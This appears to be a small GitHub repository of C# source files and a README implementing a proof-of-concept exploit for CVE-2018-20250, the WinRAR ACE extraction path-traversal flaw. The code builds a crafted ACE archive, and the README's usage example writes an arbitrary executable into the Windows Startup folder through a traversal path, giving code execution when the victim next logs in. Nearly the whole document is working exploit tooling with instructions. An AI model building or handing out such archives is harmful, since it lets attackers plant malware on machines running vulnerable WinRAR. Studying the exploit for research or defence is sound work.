├── Utils.cs ├── README.md ├── AceVolume.cs └── AceFile.cs /Utils.cs: -------------------------------------------------------------------------------- 1 | using InvertedTomato.IO; 2 | using System; 3 | 4 | namespace WinAce 5 | { 6 | public class Utils 7 | { 8 | public static UInt32 CRC32(byte[] data) 9 | { 10 | var crc = CrcAlgorithm.CreateCrc32Jamcrc(); 11 | crc.Append(data); 12 | return (UInt32)crc.ToUInt64(); 13 | } 14 | 15 | public static UInt16 CRC16(byte[] data) 16 | { 17 | return (UInt16)((CRC32(data) & 0xFFFF)); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-20250-WinRAR-ACE 2 | Proof of concept code in C# to exploit the WinRAR ACE file extraction path (CVE-2018-20250). 3 | 4 | # Resources 5 | https://research.checkpoint.com/extracting-code-execution-from-winrar/ 6 | https://github.com/droe/acefile 7 | https://apidoc.roe.ch/acefile/latest/ 8 | 9 | # Dependencies 10 | InvertedTomato.Crc (you can install it with NuGet) for the checksum method. You can use any other JAMCRC implementation. 11 | 12 | # How to use 13 | ```csharp 14 | AceVolume av = new AceVolume(); 15 | AceFile f = new AceFile( 16 | @"D:\some_file.exe", 17 | @"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe" 18 | ); 19 | av.AddFile(f); 20 | av.Save("exploit.rar"); 21 | ``` 22 | 23 | # Bugs 24 | Seems that it only extracts to startup folder when the .rar file is in Desktop or any folder on the same level. 25 | -------------------------------------------------------------------------------- /AceVolume.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | 6 | namespace WinAce 7 | { 8 | public class AceVolume 9 | { 10 | private byte[] magic; // uint8[7] **ACE** 7 * 1 = 7 bytes 11 | private byte eversion; // uint8 extract version 1 byte 12 | private byte cversion; // uint8 creator version 1 byte 13 | private byte host; // uint8 platform 1 byte 14 | private byte volume; // uint8 volume number 1 byte 15 | private UInt32 datetime; // uint32 date/time in MS-DOS format 4 bytes 16 | private byte[] reserved1; // uint8[8] 8 * 1 = 8 bytes 17 | private byte[] advert; // [uint8] optional 1 * n bytes 18 | private UInt16[] comment; // [uint16] optional, compressed 2 bytes 19 | private byte[] reserved2; // [?] optional 1 * n bytes 20 | 21 | private UInt16 crc; 22 | private UInt16 size; 23 | private byte type; 24 | private UInt16 flags; 25 | 26 | public byte[] Headers { get; private set; } 27 | public List Files = new List(); 28 | 29 | public AceVolume() 30 | { 31 | this.type = 0x00; // MAIN 32 | this.flags = 0x8100; // V20FORMAT|SOLID 33 | 34 | this.magic = new byte[7]{0x2A, 0x2A, 0x41, 0x43, 0x45, 0x2A, 0x2A};//"**ACE**".ToCharArray().Select(c => (byte)c).ToArray(); 35 | this.eversion = 20; 36 | this.cversion = 20; 37 | this.host = 0x02; 38 | this.volume = 0; 39 | this.datetime = 0x4e556ccf; 40 | this.reserved1 = new byte[8] { 0x30, 0x93, 0x66, 0x76, 0x4e, 0x20, 0x00, 0x00 }; 41 | this.advert = new byte[] { }; 42 | this.comment = new UInt16[] { }; 43 | this.reserved2 = new byte[] { 0x00, 0x00, 0x00, 0x48, 0x35, 0x55, 0x03, 0x5D, 0x36, 0x20, 0x9E, 0x10, 0xFD, 0xC9, 0xFB, 0x45, 0x72, 0x73 }; // \x00\x00\x00H5U\x03]6 \x9e\x10\xfd\xc9\xfbErs 44 | } 45 | 46 | byte[] rawData = { 47 | 48 | }; 49 | 50 | public void AddFile(AceFile file) 51 | { 52 | this.Files.Add(file); 53 | } 54 | 55 | private void GetHeadersSize() 56 | { 57 | int size = 0; 58 | 59 | size += sizeof(byte); // uint8 - type 60 | size += sizeof(UInt16); // uint16 - flags 61 | 62 | size += sizeof(byte) * this.magic.Length; // uint8 * length - magic 63 | size += sizeof(byte); // uint8 - eversion 64 | size += sizeof(byte); // uint8 - cversion 65 | size += sizeof(byte); // uint8 - host 66 | size += sizeof(byte); // uint8 - volume 67 | size += sizeof(UInt32); // uint32 - datetime 68 | size += sizeof(byte) * this.reserved1.Length; // uint8 * length - reserved1 69 | size += sizeof(byte) * this.advert.Length; // uint8 * length - advert 70 | size += sizeof(UInt16) * this.comment.Length; // uint16 * length - comment 71 | size += sizeof(byte) * this.reserved2.Length; // uint8 * length - reserved2 72 | 73 | this.size = (UInt16)size; 74 | } 75 | 76 | private void GetCRC() 77 | { 78 | 79 | using (MemoryStream memStream = new MemoryStream()) 80 | { 81 | using (BinaryWriter binStream = new BinaryWriter(memStream)) 82 | { 83 | 84 | binStream.Write(this.type); 85 | binStream.Write(this.flags); 86 | 87 | binStream.Write(this.magic); 88 | binStream.Write(this.eversion); 89 | binStream.Write(this.cversion); 90 | binStream.Write(this.host); 91 | binStream.Write(this.volume); 92 | binStream.Write(this.datetime); 93 | binStream.Write(this.reserved1); 94 | binStream.Write(this.advert); 95 | binStream.Write(this.comment.SelectMany(BitConverter.GetBytes).ToArray()); 96 | binStream.Write(this.reserved2); 97 | 98 | binStream.Flush(); 99 | } 100 | 101 | this.Headers = new byte[this.size]; 102 | Buffer.BlockCopy(memStream.GetBuffer(), 0, this.Headers, 0, this.size); 103 | 104 | this.crc = Utils.CRC16(this.Headers); 105 | } 106 | } 107 | 108 | public void Save(string filename) 109 | { 110 | this.GetHeadersSize(); 111 | this.GetCRC(); 112 | 113 | using (FileStream fileStream = new FileStream(filename, FileMode.Create)) 114 | { 115 | using (BinaryWriter binStream = new BinaryWriter(fileStream)) 116 | { 117 | binStream.Write(this.crc); 118 | binStream.Write(this.size); 119 | binStream.Write(this.type); 120 | binStream.Write(this.flags); 121 | 122 | binStream.Write(this.magic); 123 | binStream.Write(this.eversion); 124 | binStream.Write(this.cversion); 125 | binStream.Write(this.host); 126 | binStream.Write(this.volume); 127 | binStream.Write(this.datetime); 128 | binStream.Write(this.reserved1); 129 | binStream.Write(this.advert); 130 | binStream.Write(this.comment.SelectMany(BitConverter.GetBytes).ToArray()); 131 | binStream.Write(this.reserved2); 132 | 133 | foreach (AceFile f in this.Files) 134 | { 135 | if (f.Get() && f.Headers != null && f.Headers.Length > 0) 136 | { 137 | binStream.Write(f.Headers); 138 | 139 | byte[] fileData = File.ReadAllBytes(f.FileName); 140 | if (fileData != null && fileData.Length > 0) 141 | { 142 | binStream.Write(fileData); 143 | } 144 | } 145 | } 146 | 147 | binStream.Flush(); 148 | } 149 | } 150 | } 151 | } 152 | } 153 | -------------------------------------------------------------------------------- /AceFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Linq; 4 | 5 | namespace WinAce 6 | { 7 | public class AceFile 8 | { 9 | private UInt32 packsize; // uint32|64 packed size 10 | private UInt32 origsize; // uint32|64 original size 11 | private UInt32 datetime; // uint32 ctime 12 | private UInt32 attribs; // uint32 file attributes 13 | private UInt32 crc32; // uint32 checksum over compressed file 14 | private byte comptype; // uint8 compression type 15 | private byte compqual; // uint8 compression quality 16 | private UInt16 parameters; // uint16 decompression parameters 17 | private UInt16 reserved1; // uint16 18 | private byte[] filename; // [uint16] 19 | private UInt16[] comment; // [uint16] optional, compressed 20 | private UInt16[] ntsecurity; // [uint16] optional 21 | private byte[] reserved2; // [?] 22 | 23 | private UInt16 crc; 24 | private UInt16 size; 25 | private byte type; 26 | private UInt16 flags; 27 | 28 | public string FileName { get; private set; } 29 | public string ExtractPath { get; private set; } 30 | public string Comment { get; private set; } 31 | 32 | public byte[] Headers { get; private set; } 33 | 34 | public AceFile(string fileName, string extractPath, string comment = null) 35 | { 36 | this.FileName = fileName; 37 | this.ExtractPath = extractPath; 38 | this.Comment = comment; 39 | 40 | this.type = 0x01; // FILE32 41 | this.flags = 0x8001; // ADDSIZE|SOLID 42 | 43 | this.packsize = 4; 44 | this.origsize = 4; 45 | this.datetime = 0x4e5554fc; 46 | this.attribs = 0x00000020; // ARCHIVE 47 | this.comptype = 0x00; // stored 48 | this.compqual = 0x03; // normal 49 | this.parameters = 0x000a; 50 | this.reserved1 = 0x9e20; 51 | this.filename = this.ExtractPath.ToCharArray().Select(c => (byte)c).ToArray(); 52 | this.comment = (this.Comment != null) ? this.Comment.ToCharArray().Select(c => (UInt16)c).ToArray() : new UInt16[] { }; 53 | this.ntsecurity = new UInt16[] { }; 54 | this.reserved2 = new byte[] { }; 55 | } 56 | 57 | public void SetDatetime(UInt32 datetime) 58 | { 59 | this.datetime = datetime; 60 | } 61 | 62 | private void GetHeadersSize() 63 | { 64 | int size = 0; 65 | 66 | size += sizeof(byte); // uint16 - type 67 | size += sizeof(UInt16); // uint16 - flags 68 | 69 | size += sizeof(UInt32); // uint32 - packsize 70 | size += sizeof(UInt32); // uint32 - origsize 71 | size += sizeof(UInt32); // uint32 - datetime 72 | size += sizeof(UInt32); // uint32 - attribs 73 | size += sizeof(UInt32); // uint32 - crc32 74 | size += sizeof(byte); // uint8 - comptype 75 | size += sizeof(byte); // uint8 - compqual 76 | size += sizeof(UInt16); // uint16 - parameters 77 | size += sizeof(UInt16); // uint16 - reserved1 78 | size += sizeof(UInt16); // uint16 - filename length 79 | size += sizeof(byte) * this.filename.Length; // uint8[] - filename 80 | size += sizeof(UInt16) * this.comment.Length; // uint16[] - comment 81 | size += sizeof(UInt16) * this.ntsecurity.Length;// uint16[] - ntsecurity 82 | size += sizeof(byte) * this.reserved2.Length; // uint8[] - reserved2 83 | 84 | this.size = (UInt16)size; 85 | } 86 | 87 | private void GetCRC() 88 | { 89 | this.crc = Utils.CRC16(this.Headers); 90 | 91 | int n = sizeof(UInt16) /* crc */ + sizeof(UInt16) /* size */; 92 | byte[] newHeaders = new byte[this.size + n]; 93 | 94 | using (MemoryStream memStream = new MemoryStream()) 95 | { 96 | using (BinaryWriter binStream = new BinaryWriter(memStream)) 97 | { 98 | binStream.Write(this.crc); 99 | binStream.Write(this.size); 100 | binStream.Write(this.Headers); 101 | 102 | binStream.Flush(); 103 | } 104 | 105 | this.Headers = new byte[newHeaders.Length]; 106 | Buffer.BlockCopy(memStream.GetBuffer(), 0, this.Headers, 0, newHeaders.Length); 107 | } 108 | } 109 | 110 | public void GetHeaders() 111 | { 112 | using (MemoryStream memStream = new MemoryStream()) 113 | { 114 | using (BinaryWriter binStream = new BinaryWriter(memStream)) 115 | { 116 | binStream.Write(this.type); 117 | binStream.Write(this.flags); 118 | 119 | binStream.Write(this.packsize); 120 | binStream.Write(this.origsize); 121 | binStream.Write(this.datetime); 122 | binStream.Write(this.attribs); 123 | binStream.Write(this.crc32); 124 | binStream.Write(this.comptype); 125 | binStream.Write(this.compqual); 126 | binStream.Write(this.parameters); 127 | binStream.Write(this.reserved1); 128 | binStream.Write((UInt16)this.filename.Length); 129 | binStream.Write(this.filename); 130 | binStream.Write(this.comment.SelectMany(BitConverter.GetBytes).ToArray()); 131 | binStream.Write(this.ntsecurity.SelectMany(BitConverter.GetBytes).ToArray()); 132 | binStream.Write(this.reserved2); 133 | 134 | binStream.Flush(); 135 | } 136 | 137 | 138 | this.Headers = new byte[this.size]; 139 | Buffer.BlockCopy(memStream.GetBuffer(), 0, this.Headers, 0, this.size); 140 | } 141 | } 142 | 143 | public bool Get() 144 | { 145 | if (!File.Exists(this.FileName)) 146 | { 147 | return false; 148 | } 149 | 150 | byte[] fileData = File.ReadAllBytes(this.FileName); 151 | if (fileData == null || fileData.Length <= 0) 152 | { 153 | return false; 154 | } 155 | this.packsize = (UInt32) fileData.Length; 156 | this.origsize = (UInt32) fileData.Length; 157 | 158 | this.crc32 = Utils.CRC32(fileData); 159 | 160 | this.GetHeadersSize(); 161 | this.GetHeaders(); 162 | this.GetCRC(); 163 | 164 | return true; 165 | } 166 | } 167 | } 168 | --------------------------------------------------------------------------------